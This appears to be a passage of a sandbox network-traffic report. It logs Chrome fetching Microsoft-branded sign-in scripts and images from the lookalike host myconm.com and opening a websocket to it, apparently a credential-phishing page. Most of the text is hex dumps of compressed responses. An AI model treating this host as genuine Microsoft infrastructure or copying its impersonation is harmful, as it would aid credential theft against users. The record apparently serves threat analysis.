2024-12-09 17:43:00 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-09 17:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.17	49815	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:42:59 UTC	745	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://offcap.myconm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:01 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:00 GMT Content-Type: application/x-javascript Content-Length: 35192 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:55 GMT etag: 0x8DCBD5317AEB807 x-ms-request-id: 4c87aaa3-601e-0051-58d0-446177000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174300Z-15b54885d96pvbqdhC1FRApzxc0000000p4g000000007sqw x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:01 UTC	15573	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-12-09 17:43:01 UTC	16384	IN	Data Raw: 5a 27 f8 ef 29 66 ec 36 5f c0 bf 7b cf db e7 cb d6 5e f3 39 39 c4 7e d8 a4 3f 2f f0 df f6 31 25 da 94 d3 6b 52 82 1f fb eb f5 38 01 c5 5e 3c 7f 81 ff be 78 d1 df a4 3f 3f 5c dc 9f 2f 4f c1 50 38 83 3f 27 3f 9c e2 bf 27 a7 0c 6c bf 20 e0 31 36 05 7f 3a 0c ed 50 d1 d3 dd ce 26 fd 39 26 e8 0f dd 26 95 6d b6 f0 df 36 d7 d8 7d 71 b1 4d a3 6e 7f 8d a8 34 0f af e3 f9 e5 eb 60 18 25 4c c7 0e 12 cf 64 9c 46 79 11 cf e9 d1 06 ce ee 3a d9 1f e2 22 89 38 63 87 29 dd f9 fd 86 81 f5 0f 1a c3 1d f7 a8 90 94 f1 fc a7 e0 16 94 3d fa 49 a2 98 7e 0d d0 42 9f 0f 5a 07 94 3a 0c 0f 88 0d fb 1d 90 fd a0 60 00 7b 67 a1 94 ab 54 0a b7 32 f4 1e 6e 6e ce bd 2f b8 bd 2b 09 06 15 63 6e 1f 58 7c 36 02 99 80 ef 21 6c e5 97 f1 e2 43 7a 19 e1 72 f3 fb b8 db a5 1e 15 1d 70 e1 cd 96 37 6f Data Ascii: Z')f6_{^99~?/1%kR8^<x??\/OP8?'?'l 16:P&9&&m6}qMn4`%LdFy:"8c)=I~BZ:`{gT2nn/+cnX\|6!lCzrp7o
2024-12-09 17:43:01 UTC	3235	IN	Data Raw: e0 a3 65 67 95 39 cb 0f 1e f7 3d 88 d8 aa e8 b7 df 80 4a 28 db 87 25 9c ae 0e cb 2a 69 5d f7 b2 a8 67 40 41 7b b0 51 6c 53 46 52 c6 96 94 b3 5f 6f bb 98 f3 da db 1a 76 57 d6 da 7e 3d 2d f0 a8 42 32 ce 38 43 95 83 ba 02 f1 97 e0 f1 0d 17 70 d6 95 f9 ed da b0 1f 14 1e 79 19 b4 c8 80 9a ec df c8 66 77 3b e5 98 ae 43 73 e7 59 b4 f2 ce 4e 97 01 df 38 cb 97 a3 60 6f c8 02 37 6f d9 a3 f0 de d1 66 87 43 27 62 3d a6 56 3b a1 d1 89 f5 68 42 07 45 54 20 29 7c a3 f7 22 af ac 36 57 51 01 41 a9 4a 2a ce d1 aa 1a 7f a9 36 af f5 5a a3 52 ad 30 c5 84 10 5e af b6 1a 2c bc 5e 2b 16 1b 18 4e 2f c3 e7 3a fb bd c0 3b 01 fc aa 46 42 58 e6 22 65 6c a2 bf 44 8a 7a 45 44 a9 4a 31 95 52 90 b4 54 6e 50 50 a9 d6 52 d1 ea 90 d9 2d 95 d0 5a 4b 49 65 ff 62 fa 32 c8 14 1c 15 27 de ae a9 Data Ascii: eg9=J(%i]g@A{QlSFR_ovW~=-B28Cpyfw;CsYN8`o7ofC'b=V;hBET )\|"6WQAJ6ZR0^,^+N/:;FBX"elDzEDJ1RTnPPR-ZKIeb2'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.17	49817	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:02 UTC	548	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:02 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:02 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 1873004b-601e-004a-15cc-491766000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174302Z-15b54885d96np545hC1FRAhya800000002v000000000595y x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:02 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-09 17:43:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	49818	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:02 UTC	548	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:02 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:02 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:49 GMT etag: 0x8DB5C3F49ED96E0 x-ms-request-id: ba5951b4-e01e-0036-3a00-4a3999000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174302Z-15b54885d96hvts2hC1FRAknps00000002eg00000000q7mu x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:02 UTC	628	IN	Data Raw: 32 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b Data Ascii: 26d}UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;
2024-12-09 17:43:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49819	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:02 UTC	547	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:03 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:03 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 853ca075-601e-0038-5817-4a1029000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174302Z-15cf8f76fbbsnr9jhC1DUSxxp400000000n0000000004h9b x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:03 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-09 17:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	49820	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:02 UTC	534	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:03 UTC	758	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:02 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Sun, 18 Oct 2020 03:02:03 GMT etag: 0x8D8731230C851A6 x-ms-request-id: 70917974-d01e-0044-5d5f-4a76c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174302Z-15cf8f76fbbsnr9jhC1DUSxxp400000000kg0000000053t3 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes
2024-12-09 17:43:03 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-12-09 17:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49821	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:02 UTC	569	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: cd092d4c-0e591a27.myconm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
2024-12-09 17:43:04 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 09 Dec 2024 17:43:03 GMT Content-Type: application/x-javascript Content-Length: 35192 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:55 GMT etag: 0x8DCBD5317AEB807 x-ms-request-id: 5005209b-201e-005b-0b26-4a8dd2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241209T174303Z-15cf8f76fbbhhgtjhC1DUSf41400000000q000000000sw71 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-09 17:43:04 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-12-09 17:43:04 UTC	16384	IN	Data Raw: 66 ec 36 5f c0 bf 7b cf db e7 cb d6 5e f3 39 39 c4 7e d8 a4 3f 2f f0 df f6 31 25 da 94 d3 6b 52 82 1f fb eb f5 38 01 c5 5e 3c 7f 81 ff be 78 d1 df a4 3f 3f 5c dc 9f 2f 4f c1 50 38 83 3f 27 3f 9c e2 bf 27 a7 0c 6c bf 20 e0 31 36 05 7f 3a 0c ed 50 d1 d3 dd ce 26 fd 39 26 e8 0f dd 26 95 6d b6 f0 df 36 d7 d8 7d 71 b1 4d a3 6e 7f 8d a8 34 0f af e3 f9 e5 eb 60 18 25 4c c7 0e 12 cf 64 9c 46 79 11 cf e9 d1 06 ce ee 3a d9 1f e2 22 89 38 63 87 29 dd f9 fd 86 81 f5 0f 1a c3 1d f7 a8 90 94 f1 fc a7 e0 16 94 3d fa 49 a2 98 7e 0d d0 42 9f 0f 5a 07 94 3a 0c 0f 88 0d fb 1d 90 fd a0 60 00 7b 67 a1 94 ab 54 0a b7 32 f4 1e 6e 6e ce bd 2f b8 bd 2b 09 06 15 63 6e 1f 58 7c 36 02 99 80 ef 21 6c e5 97 f1 e2 43 7a 19 e1 72 f3 fb b8 db a5 1e 15 1d 70 e1 cd 96 37 6f 34 8c e7 2b 33 Data Ascii: f6_{^99~?/1%kR8^<x??\/OP8?'?'l 16:P&9&&m6}qMn4`%LdFy:"8c)=I~BZ:`{gT2nn/+cnX\|6!lCzrp7o4+3
2024-12-09 17:43:04 UTC	3230	IN	Data Raw: 39 cb 0f 1e f7 3d 88 d8 aa e8 b7 df 80 4a 28 db 87 25 9c ae 0e cb 2a 69 5d f7 b2 a8 67 40 41 7b b0 51 6c 53 46 52 c6 96 94 b3 5f 6f bb 98 f3 da db 1a 76 57 d6 da 7e 3d 2d f0 a8 42 32 ce 38 43 95 83 ba 02 f1 97 e0 f1 0d 17 70 d6 95 f9 ed da b0 1f 14 1e 79 19 b4 c8 80 9a ec df c8 66 77 3b e5 98 ae 43 73 e7 59 b4 f2 ce 4e 97 01 df 38 cb 97 a3 60 6f c8 02 37 6f d9 a3 f0 de d1 66 87 43 27 62 3d a6 56 3b a1 d1 89 f5 68 42 07 45 54 20 29 7c a3 f7 22 af ac 36 57 51 01 41 a9 4a 2a ce d1 aa 1a 7f a9 36 af f5 5a a3 52 ad 30 c5 84 10 5e af b6 1a 2c bc 5e 2b 16 1b 18 4e 2f c3 e7 3a fb bd c0 3b 01 fc aa 46 42 58 e6 22 65 6c a2 bf 44 8a 7a 45 44 a9 4a 31 95 52 90 b4 54 6e 50 50 a9 d6 52 d1 ea 90 d9 2d 95 d0 5a 4b 49 65 ff 62 fa 32 c8 14 1c 15 27 de ae a9 02 d9 c8 4b 35 Data Ascii: 9=J(%i]g@A{QlSFR_ovW~=-B28Cpyfw;CsYN8`o7ofC'b=V;hBET )\|"6WQAJ6ZR0^,^+N/:;FBX"elDzEDJ1RTnPPR-ZKIeb2'K5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.17	49822	164.92.188.247	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:43:03 UTC	778	OUT	GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1 Host: offcap.myconm.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://offcap.myconm.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; MicrosoftApplicationsTelemetryDeviceId=f838640a-cf8a-4a39-8bf0-a2fc6bb74112; brcap=0 Sec-WebSocket-Key: BrcrT96RocZzlZRG7wT6Bw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
